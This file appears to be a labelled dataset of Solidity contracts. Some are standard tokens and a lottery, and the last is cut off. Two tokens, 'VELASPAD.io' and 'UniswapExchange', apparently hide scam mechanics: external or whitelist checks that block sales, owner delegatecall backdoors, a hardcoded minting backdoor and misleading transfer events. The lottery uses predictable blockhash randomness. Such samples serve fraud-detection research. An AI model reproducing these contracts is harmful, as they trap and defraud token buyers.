contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract TransparentUpgradeableProxy is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 64200000000000000000000000;
string public name = "VELASPAD.io";
string public symbol = "VLXPAD";
IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(pancakeRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
pancakeRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tooWho.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = _amounts[i];
emit Transfer(address(0x0), _tooWho[i], _amounts[i]);
}
}
} | 0 | 1,313 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract POH is Ownable {
string public constant name = "POH Lottery";
uint public playersRequired = 50;
uint256 public priceOfTicket = 1e15 wei;
event newWinner(address winner, uint256 ticketNumber);
event newContribution(address contributor, uint value);
using SafeMath for uint256;
address[] public players = new address[](399);
uint256 public lastTicketNumber = 0;
uint8 public playersSignedUp = 0;
uint public blockMinedAt;
uint public amountwon;
address public TheWinner;
uint public amounRefferalWon;
address public theWinningReferral;
uint public randomNumber;
uint public balanceOfPot = this.balance;
struct tickets {
uint256 startTicket;
uint256 endTicket;
}
mapping (address => tickets[]) ticketsMap;
mapping(address => address) public referral;
mapping (address => uint256) public contributions;
function updateFileds(uint256 _playersRequired, uint256 _priceOfTicket) onlyOwner{
playersRequired = _playersRequired;
priceOfTicket = _priceOfTicket;
}
function executeLottery() {
if (playersSignedUp > playersRequired-1) {
randomNumber = uint(blockhash(block.number-1))%lastTicketNumber + 1;
address winner;
bool hasWon;
for (uint8 i = 0; i < playersSignedUp; i++) {
address player = players[i];
for (uint j = 0; j < ticketsMap[player].length; j++) {
uint256 start = ticketsMap[player][j].startTicket;
uint256 end = ticketsMap[player][j].endTicket;
if (randomNumber >= start && randomNumber < end) {
winner = player;
hasWon = true;
break;
}
}
if(hasWon) break;
}
require(winner!=address(0) && hasWon);
for (uint8 k = 0; k < playersSignedUp; k++) {
delete ticketsMap[players[k]];
delete contributions[players[k]];
}
playersSignedUp = 0;
lastTicketNumber = 0;
blockMinedAt = block.number;
uint balance = this.balance;
balanceOfPot = balance;
amountwon = (balance*80)/100;
TheWinner = winner;
if (!owner.send(balance/10)) throw;
if(referral[winner] != 0x0000000000000000000000000000000000000000){
amounRefferalWon = (amountwon*10)/100;
referral[winner].send(amounRefferalWon);
winner.send(amountwon*90/100);
theWinningReferral = referral[winner];
}
else{
if (!winner.send(amountwon)) throw;
}
newWinner(winner, randomNumber);
}
}
function getPlayers() constant returns (address[], uint256[]) {
address[] memory addrs = new address[](playersSignedUp);
uint256[] memory _contributions = new uint256[](playersSignedUp);
for (uint i = 0; i < playersSignedUp; i++) {
addrs[i] = players[i];
_contributions[i] = contributions[players[i]];
}
return (addrs, _contributions);
}
function getTickets(address _addr) constant returns (uint256[] _start, uint256[] _end) {
tickets[] tks = ticketsMap[_addr];
uint length = tks.length;
uint256[] memory startTickets = new uint256[](length);
uint256[] memory endTickets = new uint256[](length);
for (uint i = 0; i < length; i++) {
startTickets[i] = tks[i].startTicket;
endTickets[i] = tks[i].endTicket;
}
return (startTickets, endTickets);
}
function join() payable {
uint256 weiAmount = msg.value;
require(weiAmount >= 1e16);
bool isSenderAdded = false;
for (uint8 i = 0; i < playersSignedUp; i++) {
if (players[i] == msg.sender) {
isSenderAdded = true;
break;
}
}
if (!isSenderAdded) {
players[playersSignedUp] = msg.sender;
playersSignedUp++;
}
tickets memory senderTickets;
senderTickets.startTicket = lastTicketNumber;
uint256 numberOfTickets = (weiAmount/priceOfTicket);
senderTickets.endTicket = lastTicketNumber.add(numberOfTickets);
lastTicketNumber = lastTicketNumber.add(numberOfTickets);
ticketsMap[msg.sender].push(senderTickets);
contributions[msg.sender] = contributions[msg.sender].add(weiAmount);
newContribution(msg.sender, weiAmount);
if(playersSignedUp > playersRequired) {
executeLottery();
}
}
function joinwithreferral(address refer) payable {
uint256 weiAmount = msg.value;
require(weiAmount >= 1e16);
bool isSenderAdded = false;
for (uint8 i = 0; i < playersSignedUp; i++) {
if (players[i] == msg.sender) {
isSenderAdded = true;
break;
}
}
if (!isSenderAdded) {
players[playersSignedUp] = msg.sender;
referral[msg.sender] = refer;
playersSignedUp++;
}
tickets memory senderTickets;
senderTickets.startTicket = lastTicketNumber;
uint256 numberOfTickets = (weiAmount/priceOfTicket);
senderTickets.endTicket = lastTicketNumber.add(numberOfTickets);
lastTicketNumber = lastTicketNumber.add(numberOfTickets);
ticketsMap[msg.sender].push(senderTickets);
contributions[msg.sender] = contributions[msg.sender].add(weiAmount);
newContribution(msg.sender, weiAmount);
if(playersSignedUp > playersRequired) {
executeLottery();
}
}
} | 0 | 2,015 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "TourexMe";
string public constant TOKEN_SYMBOL = "TORX";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x6682E5CC7253C471AB1735683017AEf6f879820C;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[4] memory addresses = [address(0xe372eb5adaa62ac84742dda12d23b1c968febed5),address(0x7aeccb00a3d4294f263ef2a7676ceffd8143518d),address(0xa955c7fb0e081fa979d97c282420ad74b712e768),address(0x37cdc4a2ad93d950b6bb1978d59b2ed53db56cb6)];
uint[4] memory amounts = [uint(140000000000000000000000000),uint(140000000000000000000000000),uint(140000000000000000000000000),uint(280000000000000000000000000)];
uint64[4] memory freezes = [uint64(0),uint64(0),uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 5,163 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,525 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
contract Marketplace is Ownable {
ERC721 public nft;
mapping (uint256 => Listing) public listings;
uint256 public minListingSeconds;
uint256 public maxListingSeconds;
struct Listing {
address seller;
uint256 startingPrice;
uint256 minimumPrice;
uint256 createdAt;
uint256 durationSeconds;
}
event TokenListed(uint256 indexed _tokenId, uint256 _startingPrice, uint256 _minimumPrice, uint256 _durationSeconds, address _seller);
event TokenUnlisted(uint256 indexed _tokenId, address _unlister);
event TokenSold(uint256 indexed _tokenId, uint256 _price, uint256 _paidAmount, address indexed _seller, address _buyer);
modifier nftOnly() {
require(msg.sender == address(nft));
_;
}
function Marketplace(ERC721 _nft, uint256 _minListingSeconds, uint256 _maxListingSeconds) public {
nft = _nft;
minListingSeconds = _minListingSeconds;
maxListingSeconds = _maxListingSeconds;
}
